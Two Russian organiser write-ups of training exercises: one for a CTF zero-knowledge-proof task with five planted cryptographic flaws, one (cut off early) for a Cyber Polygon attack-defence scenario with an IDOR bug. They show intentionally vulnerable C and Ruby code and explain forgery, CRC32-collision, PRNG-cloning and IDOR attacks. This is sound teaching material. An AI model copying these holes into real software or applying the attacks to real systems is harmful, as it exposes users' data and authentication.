Последнее можно легко доказать путем моделирования. Представим, что мы как Доказывающий можем обратить часть этапов в протоколе и изменить обязательство уже после получения бита вызова $b$. Зная $b$, мы всегда можем обмануть Проверяющего: если $b=0$, сгенерировать случайную перестановку и изоморфный граф на ее основе, а если $b=1$, сгенерировать граф с новым гамильтоновым циклом. Далее мы принимаем обязательства в отношении первого или второго согласно известному $b$, Проверяющий выпускает такой же бит вызова еще раз и проверяет открытое обязательство. Так как в этом случае доказательства были сгенерированы не на основе гамильтонового цикла на изначальном графе, Проверяющий не может выжать какую-либо информацию из доказательства (в случае с реальным Доказывающим, то есть не в ходе моделирования).


Как вы, наверное, поняли, всегда есть 50-процентная вероятность, что злонамеренный Доказывающий успешно проведет атаку, не имея информации об исходном цикле. Если это выполнить только один раз, о безопасности не будет и речи. Но такая последовательность и не предполагает разового выполнения. Цель состоит в том, чтобы Проверяющий и Доказывающий проделали все этапы несколько раз. При одном повторе вероятность обмана составит 25%, при двух уже 12,5% и т. д. Всегда можно задать количество повторов, которые вписываются в ваши границы риска.


Вот такую систему мы решили внедрить в качестве схемы идентификации для сервера проверки.


P.S. Если вы мало что поняли из сказанного выше или хотите больше узнать о Zero Knowledge, почитайте блог д-ра Мэтью Грина Zero Knowledge Proofs: An illustrated primer. Он объясняет концепцию куда понятнее меня.


Как мы построили задание


Примечание. Далее по тексту сервер команды = Проверяющий, сервер проверки = Доказывающий, атакующая команда = злонамеренный Доказывающий.


Протокол: вид сверху


Мы решили, что количество вершин графа будут определять сами команды, поэтому мы не могли использовать один и тот же граф для всех. Чтобы решить эту проблему, в начале каждого раунда сервер проверки уточнял у сервера каждой команды, насколько большой граф ему нужен, и создавал граф с требуемым количеством вершин и известным Гамильтоновым циклом. Далее он направлял серверу команды:


  • граф;
  • флаг для соответствующего раунда;
  • 16-байтовую произвольную строку RANDOMR, полученную с сервера команды;
  • RSA-подпись всех вышеуказанных величин.

Величина RANDOMR была необходима, чтобы команда не могла повторно использовать пакет с валидной подписью для построения такого же графа на серверах других команд.


Кстати, здесь и была заложена первая ошибка: флаг таким способом нельзя было украсть, но можно было произвести DoS-атаку на команду противника. Мы выбрали схему подписи PKCS#1 v1.5. Она в целом не является уязвимой, за исключением некоторых ее реализаций, которые могут быть уязвимы к атаке Блейхенбахера на подпись с экспонентой 3 (Bleichenbacher's e=3 signature attack). Чтобы создать возможности для проведения такой атаки, мы выбрали значение 3 для открытой экспоненты открытого ключа и реализовали уязвимый алгоритм снятия дополнения (очевидно, что SAFE_VERSION macro не был определен):


 uint8_t* badPKCSUnpadHash(uint8_t* pDecryptedSignature, uint32_t dsSize){    uint32_t i;    if (dsSize<MIN_PKCS_SIG_SIZE) return NULL;    if ((pDecryptedSignature[0]!=0)||(pDecryptedSignature[1]!=1))return NULL;    i=2;    while ((i<dsSize) && (pDecryptedSignature[i]==0xff)) i=i+1;    if (i==2 || i>=dsSize) return NULL;    if (pDecryptedSignature[i]!=0) return NULL;    i=i+1;    if ((i>=dsSize)||((dsSize-i)<SHA256_SIZE)) return NULL;    #ifdef SAFE_VERSION    //Check that there are no bytes left, apart from hash itself    //(We presume that the caller did not truncate the signature afteк exponentiation    // and the dsSize is the equal to modulus size in bytes    if ((dsSize-i)!=SHA256_SIZE) return NULL;    #endif    return pDecryptedSignature+i;}

После настройки графа сервер проверки каждые 30 секунд делал следующее:


  • подключался к серверу каждой команды;
  • запрашивал число проверок, которые хочет провести сервер команды;
  • доказывал, что ему точно известен Гамильтонов цикл.

Предполагалось, что в случае верного доказательства сервер команды отдает флаг.


Примечание. Чтобы сократить количество циклов в раунде, мы предусмотрели одновременные, а не последовательные доказательства. Однако стоит принять во внимание, что в реальных условиях это может быть проблематичным, так как такие изменения могут нарушать математические доказательства протоколов.


Протокол: внутренности


Мы рассмотрели общий протокол, а теперь обратимся к уязвимостям, которые мы предусмотрели.


Наш языковой стек Python + C. Мы создали библиотеку C, содержащую 95% функциональности приложения. Затем мы создали классы поддержки на Python для Доказывающего и Проверяющего. Они включали указатели на соответствующие структуры и обертывали вызовы библиотеки. (Кстати, будьте внимательны при работе с void_p в ctypes. В 64-битных системах он может быть урезан до 32 бит при передаче в качестве аргумента в функцию).


Основной скрипт сервера команды на Python содержал инициализацию Проверяющего:


verifier=Verifier(4,4,7)

Аргументы были следующие:


  1. Желательное количество вершин в графе.
  2. Количество одновременных доказательств.
  3. Выбранные алгоритмы обязательств.

Разберем их по порядку.


Число вершин в графе. Как можно догадаться, четырех вершин, как в примерах выше, совсем не достаточно для безопасной конфигурации: все возможные циклы можно с легкостью перебрать.


Что касается максимально разрешенного количества вершин, то мы остановились на 256. Не стали увеличивать его по двум причинам:


  • Во-первых, чтобы установить изоморфизм графов с таким параметром, требовалось 2 часа на обычном ноутбуке (по крайней мере, так показала наша проверка). Вероятность того, что атакующие команды найдут цикл быстрее чем за 5 минут, представлялась при нашей модели злоумышленника как минимум оптимистичной.
  • Во-вторых, зависимость между размером доказательства в байтах и количеством вершин является квадратичной, а нагружать сеть особого желания не было.

Количество одновременных доказательств. Как и в случае с вершинами, четырех параллельных доказательств недостаточно, чтобы говорить о какой-то безопасности. Вероятность правильного угадывания битов доказательства составляет $\frac{1}{16}$. Можно пробовать несколько раз и после ряда попыток все получится.


Максимальное значение, поддерживаемое функцией инициализации, составляло 64, что означало вероятность читерства $\frac{1}{2^{64}}$. При наших времени раунда и мощностях злоумышленника практически никаких шансов.


Итак, вторая ошибка уязвимая конфигурация количества вершин и числа доказательств.


Алгоритмы обязательств. Этот параметр по сути является битовой маской, 3 возведенных бита которой означают, что на сервере команды доступны все три реализованных алгоритма обязательства:


  • обязательства, в основе которых лежат "хеши" CRC32;
  • обязательства, в основе которых лежат хеши SHA-256;
  • обязательства, в основе которых лежит шифрование при помощи AES-128 в режиме CBC.

Правильными значениями для данной битовой маски будут $1-7$, так что командам необходимо выбрать хотя бы один алгоритм. Сервер проверки выбирает их в следующей последовательности: CRC32, SHA-256, AES. Так, если доступны CRC32 и AES, приоритетным будет CRC32.


Прежде чем углубиться в алгоритмы обязательства, давайте вкратце остановимся на реализованном протоколе доказательства:


  1. Доказывающий запрашивает конфигурацию доказательства у Проверяющего (количество доказательств и поддерживаемые алгоритмы).
  2. Проверяющий в ответ направляет конфигурацию.
  3. Доказывающий создает доказательства, обязательства из доказательств и отправляет 1. Доказывающему обязательства по количеству доказательств proof_count.
  4. Проверяющий направляет Доказывающему вызов (случайные биты в количестве proof_count).
  5. В ответ Доказывающий направляет информацию, которая раскрывает обязательства в соответствии с вызовом.
  6. Проверяющий проверяет корректность доказательств и, если все верно, возвращает флаг.
  7. Доказывающий на этом останавливается либо начинает заново с шага 3.

И вот тут есть хитрая деталь. Доказывающий может попытаться начать с любого шага доказательства в любой момент (например, запросить вызов до получения обязательства). В большинстве случаев Проверяющий выдаст ошибку. Однако у всех команд по умолчанию был активирован режим симуляции (simulation mode), и это было третьей ошибкой. Соответствующий бит конфигурации настраивался во время инициализации Проверяющего внутри скомпилированной библиотеки. Для его поиска и замены командам необходимо было произвести обратную разработку скомпилированного бинарного файла. В режиме симуляции, после сохранения обязательства и получения вызова от Проверяющего, Доказывающий мог снова направить обязательство, уже основанное на известном вызове. Это полностью нарушало протокол, но исправить это было очень легко. К сожалению, насколько нам известно, эту ошибку никто не обнаружил


Теперь вернемся к алгоритмам обязательств. Они работают следующим образом.


В случае с обязательствами CRC32 и SHA-256 перестановка, графы с перестановленными вершинами и перестановленные циклические матрицы упаковываются. Упаковывание состоит в том, что размер квадратной матрицы размещается в пределах одного двухбайтного слова (uint16_t), а битовый поток плотно упаковывается в байты таким образом, чтобы каждый байт содержал 8 бит из ячеек исходного представления матрицы. После того, как матрицы упакованы, к каждому упакованному массиву применяется выбранная хеш-функция. В итоге на одно доказательство приходится три хеша:


$Hash(Pack(permutation)) | Hash(Pack(permuted\_graph)) | Hash(Pack(permuted\_cycle))$


Данные хеши далее направляются Проверяющему в качестве обязательства. Как только Проверяющий отправляет бит вызова $b$, в ответ ему направляются исходные упакованные матрицы либо для перестановки и графа с перестановленными вершинами, либо для графа с перестановленными вершинами и перестановочным циклом. Проверяющий может проверить, что хеши соответствуют полученным значениям, а значения удовлетворяют условиям обязательства. Если этап успешно завершается, Проверяющий удостоверяется, что матрица отвечает требованиям к доказательству.


Если это обязательство AES, Доказывающий создает два ключа: $K_1$ и $K_2$. Он упаковывает матрицы тем же способом, как и в случае с другими обязательствами, но затем он шифрует упакованную перестановку при помощи $K_1$ и упакованный перестановочный цикл при помощи $K_2$. Он отправляет оба шифротекста и упакованный граф с перестановленными вершинами в виде открытого текста:


$Enc(Pack(permutation),K_1) | Enc(Pack(permuted\_cycle),K_2) | Pack(permuted\_graph)$


После получения бита вызова $b$ от Проверяющего Доказывающий направляет ему $K_b$. Проверяющий дешифрует соответствующий зашифрованный текст и проверяет достоверность доказательства.


Как видите, обязательство, основанное на AES, успешно скрывает доказательство и не дает Доказывающему себя нарушить (невозможно получить перестановку и перестановленный цикл без ключей, и Доказывающий не может найти другой ключ, который бы позволил ему обмануть Проверяющего). Обязательство, основанное на SHA-256, также носит обязательный характер с точки зрения расчетов (нужно обнаружить коллизию), а так как мы по факту направляем не сами матрицы в каком-либо виде или форме, они действительно удовлетворяют свойству скрытия.


CRC32, однако, не в полной мере удовлетворяет условиям скрытия, и это четвертая ошибка. Для поиска противоречия можно подобрать CRC32 с ориентировочным уровнем сложности $2^{32}$. Но его можно обнаружить еще быстрее при помощи подхода Meet-in-the-Middle (Встреча посередине), ориентировочный уровень сложности которого составляет $2^{17}$.
Обновление: Как мне подсказали, можно еще быстрее. Пример здесь. Но узнать про MitM всё равно полезно, т.к. этот метод можно применить и в других местах.


Атака Meet-in-the-Middle может быть использована, потому что можно обратить раунды CRC32. Допустим, у нас есть


$y=CRC32(x_0)$


и надо найти некое $x_1$ таким образом, чтобы


$CRC32(x_1)=y$


Давайте зафиксируем длину искомого $x_1$, пусть она будет 6 байтов (позже это нам пригодится). CRC32 состоит из трех фаз:


  1. Инициализация $Init$.
  2. Цикл прохода по байтам сообщения $t_{i+1}=Round(t_i,b_i)$, где ($t_i$ внутреннее состояние, а $b_i$ байт).
  3. Постпроцессинг $Finish$.

Итак, для 6 байтов:


$CRC32_6(x)=Finish(Round(Round(Round(Round(Round(Round(Init()\\,b_1),b_2),b_3),b_4),b_5),b_6))$


или произведение функций от $t$:
Произведение функций от t
Теперь можно разбить $CRC32_6$ на две части:


$CRC32_6=CRC32_{FH}CRC32_{SH}$


где


$CRC32_{FH}=InitRound_{b_1}Round_{b_2}Round_{b_3}$


$CRC32_{SH}=Round_{b_4}Round_{b_5}Round_{b_6}Finish$


Мы разделили CRC32 пополам. Более того, функции $Round_{b_i}$ и $Finish$ являются обратимыми, что делает $CRC32_{SH}$ тоже обратимой:


$CRC32_{SH\_INV}=CRC32^{1}_{SH}$


Теперь вместо подбора $CRC32_6$ мы:


  1. Рассчитываем около $2^{17}$ значений $CRC32_{FH}$ с различными $b_1b_2b_3$ и помещаем эти значения в хеш-таблицу, чтобы можно было посмотреть результаты $b_1b_2b_3$ для каждого значения за константное время.
  2. Рассчитываем значения $CRC32_{SH\_INV}(y)$ для различных $b_4b_5b_6$. После расчета каждого значения проверяем, отражено ли оно в хеш-таблице. Как только мы найдем одно из них, прекращаем процесс. Шанс найти одно значение при каждой попытке находится в диапазоне $\frac{1}{2^{16}}-\frac{1}{2^{15}}$.
  3. Получаем значение: $t=CRC32_{FH}(b_1,b_2,b_3)=CRC32_{SH\_INV}(y,b_6,b_5,b_4)$, и это означает, что $y=CRC32(b_1b_2b_3b_4b_5b_6)$, и мы обнаружили коллизию.

Я уже слышу: Все это, конечно, замечательно, но наши данные не должны быть случайными это должна быть одна из тех матриц, и она должна пройти всяческие проверки, так что все это напрасно. Все было бы именно так если бы мы не написали распаковывание матриц таким образом, чтобы оно позволяло добавлять мусорные байты. Вспомните, как мы упаковываем матрицы:


$SIZE (2\space bytes)\space |\space PACKED\_DATA$


Очень важно, что при проверке HASHES Проверяющий хеширует весь этот объект но, когда матрицы распаковываются, алгоритм принимает только биты $size^2$ из $packed\_data$, и все лишнее отбрасывается. Итак, мы можем добавить еще 6 байтов:


$ SIZE (2\space bytes)\space |\space PACKED\_DATA \space|\space e_1\space|\space e_2\space|\space e_3\space|\space e_4\space|\space e_5\space|\space e_6$


И произвести такую же атаку, но теперь $CRC32_{FH}$ будет обрабатывать


$ SIZE (2\space bytes) \space |\space PACKED\_DATA \space|\space e_1\space|\space e_2\space|\space e_3$


тогда как $CRC32_{SH\_INV}$ будет обрабатывать


$e_4\space|\space e_5\space|\space e_6$


После обнаружения противоречий злонамеренный Доказывающий может передать результаты проверки Проверяющего и получить флаг.


Последняя уязвимость


Мы рассказали о работе всей системы и рассмотрели 4 запланированных уязвимости. Однако была еще и пятая ошибка. Биты вызова, предоставляемые Доказывающим, были из небезопасного источника ГПСЧ (PRNG или генератор псевдослучайных чисел).


Обычно в таких случаях выбор падает на небезопасный примитив языка C rand, но нам хотелось чего-то более интересного. В последние годы было опубликовано несколько исследований о Legendre PRF, поэтому мы решили реализовать его в качестве ГПСЧ вместо избитого Вихря Мерсенна.


Идея, положенная в основу этого ГПСЧ, это поле Галуа $GF(p)$, то есть фактор-модулей простого числа $p$. Каждый элемент этого поля либо является квадратичным вычетом, либо нет. Таким образом, в поле $\frac{(p-1)}{2}$ квадратичных вычетов (если исключить 0) и столько же неквадратичных вычетов.


Если вы случайным образом выбираете какой-либо элемент этого поля, за исключением элемента $0$, вероятность того, что он представляет собой квадратичный вычет, будет равна $\frac{1}{2}$. Довольно легко проверить, является ли данный элемент (исключая нулевой $r0$) квадратичным вычетом или нет. Для этого необходимо вычислить его символ Лежандра. Если для элемента $r$ выполняется равенство $r^\frac{p1}{2}=1\space mod \space p$, тогда он является квадратичным вычетом. Так как вероятность для каждого элемента $r$ представлять собой квадратичный вычет составляет 50%, а квадратичные вычеты соседствуют с неквадратичными в случайном порядке, то можно создать искомый ГПСЧ.


Мы инициализируем ГПСЧ с произвольным элементом $a\in GF(p)$. Алгоритм в Python будет выглядеть следующим образом:


def LegendrePRNG(a,p):    if a==0:        a+=1    while True:        next_bit=pow(a,(p-1)//2,p)        if next_bit==1:            yield 1        else:            yield 0        a=(a+1)%p        if a==0:            a+=1

Мы специально выбрали 32-битный $p$, чтобы команды смогли его использовать в атаке Meet-in-the-Middle. Идея заключается в том, чтобы получить $2^{16}+31$ бит из ГПСЧ, направляя постоянные запросы на вызовы. Как только вы их получите, можно конвертировать этот битовый поток в $2^{16}$ 32-битовых целых чисел, преобразуя каждую последовательность из 32 бит внутри потока в целое число. Неважно, какой порядок использовать big-endian или little-endian, главное использовать один и тот же везде.


Поместите эти целые числа в словарь в виде ключей, а значения будут означать их позиции в битовом потоке. Теперь инициализируйте свой собственный экземпляр Legendre PRNG. Выберите $a=1$ и сгенерируйте 32 псевдослучайных бита при помощи ГПСЧ. Преобразуйте эти биты в целое число и проверьте, есть ли оно в словаре (предполагается, что алгоритмическая сложность поиска будет приближаться к константе).


Если его там нет, измените инициализацию на $a=1+2^{16}$ и повторите. Увеличивайте $a$ шагом $2^{16}$ до тех пор, пока не найдете совпадение. Когда вы его обнаружите, то узнаете, каким было значение внутреннего состояния ГПСЧ Проверяющего несколько шагов назад. Обновите $a$ так, чтобы оно соответствовало текущему внутреннему состоянию ГПСЧ и вы успешно клонировали ГПСЧ Проверяющего. Если вы заранее знаете, какие будут вызовы, то обмануть Проверяющего не составит труда.


Возможно, вы подумали, что при нескольких одновременных атаках могут возникнуть проблемы. Мы предвидели это и спроектировали сервис так, что отдельные подключения порождают независимые состояния ГПСЧ. Таким образом, команды не могли влиять на подключения друг друга.


Итак, в сервисе присутствуют следующие уязвимости:


  1. Атака через подделку подписи Bleichenbachers e=3.
  2. Небезопасные параметры Проверяющего.
  3. Включенный режим симуляции.
  4. Обязательство CRC32.
  5. Небезопасный ГПСЧ.

Как мы разрабатывали таск


Писать задание было довольно весело, так как некоторые задачи пришлось решать нестандартно.


Например, на ранних этапах мы решили, что не будем добавлять никаких зависимостей, за исключением стандартных библиотек. Из-за этого нам пришлось использовать Linux Usermode Kernel CryptoAPI для хеширования и шифрования.


Поскольку мы писали библиотеку матриц с нуля, то вскоре столкнулись с проблемами с быстродействием: умножение матриц занимало слишком много времени. Мы не использовали SIMD, и это накладывало ограничения на скорость работы. К счастью, мы быстро заметили, что на самом деле умножение матриц в общем виде нам не нужно: у нас был особый случай. Нам требовалось умножение только для вырожденного случая расчета матриц графов и циклов с переставленными вершинами.


Допустим, имеется граф или циклическая матрица $M$ и матрица перестановки $P$. Чтобы найти перестановленную матрицу $M_p$, нужно произвести следующий расчет: $M_p=P^TMP$. Матрицы перестановки это особый случай. В каждом ряду и каждом столбце матрицы перестановки встречается только одна ячейка со значением $1$, во всех остальных ячейках значение равно $0$. То же самое относится к транспонированной матрице перестановки. Давайте умножим такую матрицу $P$ на $M$, $R=PM$.


Как известно, ряды матрицы умножаются на столбцы. Следовательно, зная, что в каждом ряду и в каждом столбце значение $1$ встречается только один раз, мы можем:


  1. Взять первую строку $P$.
  2. Искать положение $1$, скажем, это будет $j$.
  3. Взять $j$-й ряд $M$ и скопировать в первый ряд $R$.
  4. Повторить эти действия с другими рядами.

Давайте попробуем на примере:


Пример


Сначала мы ищем в первой строке матрицы $P'$ (той, что слева) первую и единственную единицу.


Матрица


Единица находится на второй позиции, считая с нуля. Поэтому берем вторую строку $M'$ и копируем в первую строку итоговой матрицы $R$.


Матрица


Повторяем то же самое со второй строкой $P'$. Ищем единицу.


Матрица


Она на первой позиции, поэтому берем первую строку $M'$ и кладем на место второй строки в итоговой матрице.


Матрица


Так можно легко получить итоговую матрицу.


Итоговая матрица


Поскольку мы знаем, что в каждом ряду значение $1$ встречается только один раз, нам также известно, что только $j$-е значение каждого столбца будет влиять на полученную в результате ячейку. Кроме того, используя memcpy для копирования, мы ускоряем умножение с помощью SIMD, так как memcpy задействует его для более быстрого копирования. Этот метод позволил значительно ускорить вычисления.


Финальная версия сервиса была встроена в докер-контейнер в два этапа. Сначала библиотека Zero Knowledge собиралась отдельно, затем скомпилированная библиотека копировалась в финальную версию контейнера вместе с оберткой на Python, серверным скриптом и открытым ключом сервера проверки в формате PEM. Все символы, за исключением импорта и экспорта, были удалены из библиотеки, чтобы командам пришлось реверсить основную функциональность.


Как мы тестировали таск


Как вы догадываетесь, задание нужно было тщательно протестировать.


Сначала мы запустили непрерывное нагрузочное тестирование серверов команды и проверки на 24 часа, убрав интервалы между запросами, при этом сервер проверки направлял сервису несколько сотен запросов в секунду. Так мы выявили сложную для обнаружения ошибку в использовании CryptoAPI: я забыл закрыть один из сокетов AF_ALG, в результате чего у сервиса быстро закончились доступные дескрипторы файлов.


Мы также протестировали каждую задуманную уязвимость и обнаружили пару проблем в реализации, из-за которых эти уязвимости было невозможно эксплуатировать. В результате нам пришлось вносить изменения в некоторые части приложения за несколько часов до начала соревнования.


Кроме того, мы попросили коллег посмотреть задание, чтобы убедиться в отсутствии непредвиденных ошибок в логике.


Но больше всего мы опасались, что останутся случайные ошибки в скомпилированных бинарных файлах, которые можно было бы использовать в атаках на удаленное исполнение. Нам не хотелось, чтобы без нашего ведома появилось еще одно задание на pwn :)


Вот что мы сделали, чтобы снизить этот риск:


  • Во-первых, мы полностью воссоздали взаимодействие между Доказывающим и Проверяющим на языке C со всеми обязательствами, с наименьшим и наибольшим возможным количеством вершин и доказательств. Тест создавался с использованием ASAN (Address Sanitizer), с помощью которого мы нашли несколько утечек.
  • Во-вторых, мы выписали все интерфейсы, которые будут принимать входные данные из недоверенных источников, будь то на стороне Проверяющего или Доказывающего. Для каждого из этих интерфейсов мы сохранили входные значения, получаемые при взаимодействии сервера проверки с сервером команды. Затем мы написали обвязки под Libfuzzer для каждой точки входа, включая всю необходимую инициализацию и очистку.
    Однако невозможно было так просто подготовить нашу библиотеку к фаззингу: при данном виде тестирования все должно быть по максимуму детерминировано. Поэтому мы заменили получение значений из /dev/urandom вызовами к randrand, а также заменили инициализацию ГПСЧ (не Legendre PRF, а основного) на srand(0). Также было очевидно, что в ходе фаззинга нельзя получить правильный хеш или шифротекст с корректными матрицами. Поэтому мы выключили все хеш-проверки и заменили AES-шифрование простым копированием данных для фаззинга.
    В общей сложности фаззинг длился несколько дней, и за это время мы обнаружили множество ошибок. Но после этого мы чувствовали себя немного уверенней, когда отдавали нашу библиотеку на анализ соревнующимся командам.

Итак, мы сделали все от нас зависящее, чтобы протестировать устойчивость сервиса к непредвиденным атакам. Единственное, что оставалось, предусмотреть меры против читерства: участникам должно быть невыгодно прибегать к заурядным средствам защиты, которые позволили бы устранить ряд уязвимостей легче, чем это было задумано.


Как мы боролись с читерством


Для эксплуатации Legendre PRNG нужно отправлять множество запросов Доказывающему. Нам не хотелось, чтобы командные серверы обрывали соединения в случае нескольких последовательных запросов на получение вызова. Чтобы команды отказались от реализации таких простых и скучных способов митигации, мы разнообразили функциональность сервера проверки.


В начале каждого раунда сервер проверки размещал флаг и матрицу для соответствующего раунда на сервере команды и сразу же запускал экземпляр протокола Proof of Knowledge, чтобы получить флаг обратно. После этого сервер проверки вызывался каждые тридцать секунд для подтверждения, что флаг не поврежден, а поведение сервера не отклоняется от нормы. Для этого мы предусмотрели, чтобы сервер проверки выбирал одну из трех стратегий при каждом вызове:


  1. Простое доказательство. Сервер проверки просто доказывает, что знает цикл. Если что-то идет неправильно, то у команды отнимаются очки SLA (соглашения об уровне сервиса).
  2. Сервер проверки создает валидные обязательства, но перед отправкой на сервер команды повреждает их случайным образом, чтобы Доказывающий счел полученное обязательство ошибочным. Он повторяет цикл неверных доказательств в течение нескольких секунд. Затем он реализует правильное взаимодействие и получает флаг. Если в какой-то момент от сервера команды придет неожиданный ответ или сервер оборвет соединение, то команда теряет очки SLA.
  3. Сервер проверки инициализирует протокол и направляет валидное обязательство. Далее он дает команду Проверяющему на отправку вызова в цикле на протяжении пары секунд. По истечении этого времени он выбирает последний вызов, создает пакет, который раскрывает обязательство, и направляет его на сервер команды. Если сервер отдает флаг, значит, все сделано правильно. За любые отклонения от ожиданий сервера проверки отнимаются очки SLA.

У одной из команд (Bushwhackers) показатель SLA составил только 65%, потому что они провалили вторую стратегию. Кстати, все причины неудач выводились на scoreboard, чтобы команды могли сделать вывод об ошибочности определенных стратегий защиты.


Заключение


Когда я начал писать статью, я не думал, что она настоооооолько затянется. Но мне не хотелось упустить ни одной важной детали.


Составлять задание было увлекательно, и мне приятно осознавать, что оно нас ни разу не подвело за все время соревнований. Как и ожидалось, командам не удалось найти все уязвимости, но они проявили себя весьма достойно. Надеюсь, что решать наше задание участникам понравилось.


Если у вас будет желание, можно собрать и запустить наш таск самостоятельно по ссылке https://github.com/bi-zone/CTFZone-2020-Finals-LittleKnowledge. Мы выложили его в открытый доступ, чтобы любой мог попробовать его решить. Там есть подробные комментарии по всем функциям внутри библиотеки, так что вы можете пойти путем команд (без информации о внутренностях библиотеки) либо посмотреть исходный код. Также доступна примитивная реализация сервера проверки. Учитывая все усилия, надеемся, что этот труд не пропадет. Возможно, кто-нибудь возьмет наш материал на вооружение при подготовке к CTF.


Спасибо, что прочитали до конца, и удачи!

Подробнее..

Attack-defence для бизнеса разбираем задания корпоративного тренинга Cyber Polygon

02.11.2020 16:19:26 | Автор: admin

Типичный парадокс из жизни безопасника:

  • инцидентов быть не должно (потому что инциденты = потери для бизнеса);

  • но инцидентов должно быть много (потому что без опыта реагирования будет трудно сохранять квалификацию и оперативно отражать атаки).

Для выхода из этого порочного круга крупные компании заказывают услуги Red Team: нанимают сторонних специалистов, которые пытаются взломать компанию. Но, во-первых, это довольно дорого; во-вторых, развернуться здесь трудно: мало кто позволит всерьез ломать бизнес-критичные сервисы.

Мы решили попробовать другой подход практические учения и год назад впервые организовали бесплатный тренинг для корпоративных командCyber Polygon. В роли Red Team
мы атаковали сразу нескольких команд-участниц, причем все происходило в специальной тренировочной инфраструктуре, которую не жалко.

В июле прошел Cyber Polygon 2.0. В нем участвовали уже 120 команд из 29 стран, а сценарии тренинга включали и защиту инфраструктуры от активной атаки (Defence), и реагирование
и расследование инцидентов (Response).

В этом райтапе мы расскажем о заданиях сценария Defence: идеи для него мы черпали из опыта подготовки attack-defence CTF.

Легенда

Интерфейс главной страницы уязвимого веб-приложенияИнтерфейс главной страницы уязвимого веб-приложения

Согласно легенде, ввиртуальной инфраструктуре организации функционировал сервис, обрабатывающий конфиденциальную информацию клиентов. Этот сервис заинтересовал некую APT-группировку, которая планировала украсть конфиденциальные данные пользователей иперепродать ихначерном рынке, чтобы извлечь финансовую выгоду инанести репутационный ущерб организации.

APT-группировка заранее провела необходимую разведку, обнаружила ряд критичных уязвимостей в целевой системе и в день учений начала свою атаку.

Перед участниками тренинга стояли следующие задачи:

  • как можно быстрее справиться с начавшейся атакой;

  • минимизировать объем украденной информации;

  • сохранить работоспособность сервиса.

Участники могли использовать любые доступные и привычные им средства и методы защиты.

Основные механики

Как мысказали, при разработке сценария мывдохновлялись форматом attack-defenсe CTF. Однако наCyber Polygon участникам ненужно было атаковать другие команды достаточно было только защищать свой сервис.

Такое правило мыввели для того, чтобы все участники оказались вравных условиях исконцентрировались наулучшении навыков обороны. Кроме того, благодаря ему количественные метрики, азначит иоценка уровня команд, были более объективными.

Вкачестве метрик были определены следующие показатели:

Health Points (HP). HPвыражалось простым численным значением. Команда теряла очкиHP, если Red Team смогла успешно проэксплуатировать заложенную всервисе уязвимость иполучить флаг. Чем больше уязвимостей смогла проэксплуатировать Red Team, тем большеHP теряла команда, нопри этом укаждой изкомандHP отнимались только один раз зараунд.

Service Level Agreement (SLA). Вконтексте сценария показатель SLA характеризовал целостность идоступность сервиса. SLA измерялся впроцентах (0100%). Команда теряла очки SLA, если намомент обращения чекера сервис оказывался недоступен или функционировал ненадлежащим образом. Обращения чекера ксервису могли происходить несколько раз зараунд, ноколичество обращений ккаждой изкоманд всегда было одинаковым. Результирующее значение SLA высчитывалось как процентное соотношение удачных проверок (когда сервис доступен иполностью функционален) кобщему количеству проверок.

Чекермеханика, которая позволяла нам проверять, что сервисы участников функционируют должным образом. Поскольку игровой сервис имитировал реальное веб-приложение, чекер также использовался для проверки выполнения правил игры: участники немогли просто выключить сервис или отключить часть его функциональности, имнужно было защищаться отатак Red Team.

Результирующее количество баллов, заработанных командой входе сценария, вычислялось как SLA * HP.

Участникам давалось 30минут наподготовку, входе которых они должны были ознакомиться спредоставленным имсервисом, развернуть средства мониторинга изащиты иначать искать уязвимости вкоде сервиса.

Поистечении этого времени начиналась так называемая активная фаза сценария: Red Team приступала катаке. Активная фаза состояла из18раундов продолжительностью в5минут каждый.

Перед началом сценария каждая команда получала 180HP для каждой из5заложенных всервис уязвимостей (900HP всумме). Заэксплуатацию уязвимости команда теряла 10HP. Так, если вкаком-то раунде было проэксплуатировано 3уязвимости, заэтот раунд команда теряла суммарно 30HP, аесли было проэксплуатировано 5уязвимостей 50HP.

Помимо проверки того факта, что сервис команды функционирует должным образом, чекер применялся, чтобыв начале каждого раунда доставить в сервис команды так называемый флаг(используя легитимную функциональность сервиса). Флаг это строка формата Polygon{JWT}, где JWT JSON Web Token.

Вконтексте сценария флаг выступал вроли конфиденциальных данных: чем больше флагов смогла похитить Red Team, тем большей была утечка. Похищенный флаг также означал факт эксплуатации уязвимости: команда теряла очкиHP именно тогда, когда Red Team получала флаг, эксплуатируя туили иную уязвимость.

Инфраструктура и игровой сервис

Каждой команде, участвующей вучениях, мыпредоставили виртуальный сервер под управлением ОСLinux.

После подключения поVPN участники получали доступ ксвоему серверу посредством SSH, при этом участникам предоставлялся полный доступ (root) ксвоей системе.

Вдомашней директории пользователя /home/cyberpolygon/ch4ng3org располагался игровой сервис участников.

Бэкенд игрового сервиса был реализован наRuby, фронтенд сиспользованием фреймворка ReactJS, для управления базой данных была использована СУБД PostgreSQL.

Сервис был предназначен для запуска вDocker, начто указывало, вчастности, то, что всодержащей игровой сервис директории были расположены файлы Dockerfile иdocker-compose.yml.

Участники имели полный доступ кисходным кодам сервиса, файлам конфигурации ибазе данных имогли использовать эти сведения для поиска иустранения присутствующих всервисе уязвимостей.

Уязвимости

Небезопасные прямые ссылки на объекты

Уязвимость классанебезопасные прямые ссылки на объекты(IDOR, Insecure Direct Object Reference) возникает из-за недостатков в механизмах авторизации. Уязвимость позволяет злоумышленнику получить доступ к данным других пользователей, к которым при нормальных условиях функционирования приложения у него не должно бытьдоступа.

В игровом сервисе уязвимость присутствовала в методеget классаUsersController.

backend/app/controllers/users_controller.rb:

def get  user = User.find(params[:id])  if params[:full].present?    json_response({      id: user.id,      name: user.name,      email: user.email,      phone: user.phone    })  else    json_response({      id: user.id,      name: user.name    })  endend

При обращении по адресу видаhttp://example.com/api/users/<USER_ID>, где USER_ID числовой идентификатор пользователя, любой пользователь мог получить JSON-объект, содержащий числовой идентификатор и имя пользователя, соответствующее этому числовому идентификатору.

Эта функциональность сама по себе не несет какой-либо опасности пользовательским данным. Однако следует обратить внимание на следующий фрагмент кода:

if params[:full].present?  json_response({    id: user.id,    name: user.name,    email: user.email,    phone: user.phone  })

Как можно увидеть, если передать взапросе параметр full, вответе отсервера будет содержаться уже большее количество данных: помимо идентификатора иимени пользователя вответе отсервиса будут возвращены еще его email иномер телефона.

Вигровом сервисе флаги хранились как раз вполе user.phone (это можно было обнаружить, например, анализируя сетевой трафик). Каждый раунд чекер создавал нескольких пользователей ивкачестве номера телефона для одного изних сохранял флаг.

Чтобы воспользоваться данным недостатком приложения, члены Red Team отправляли
в сервис запросы видаhttp://example.com/api/users/<USER_ID>?full=1и искали флаг
в полеphone полученных JSON-объектов.

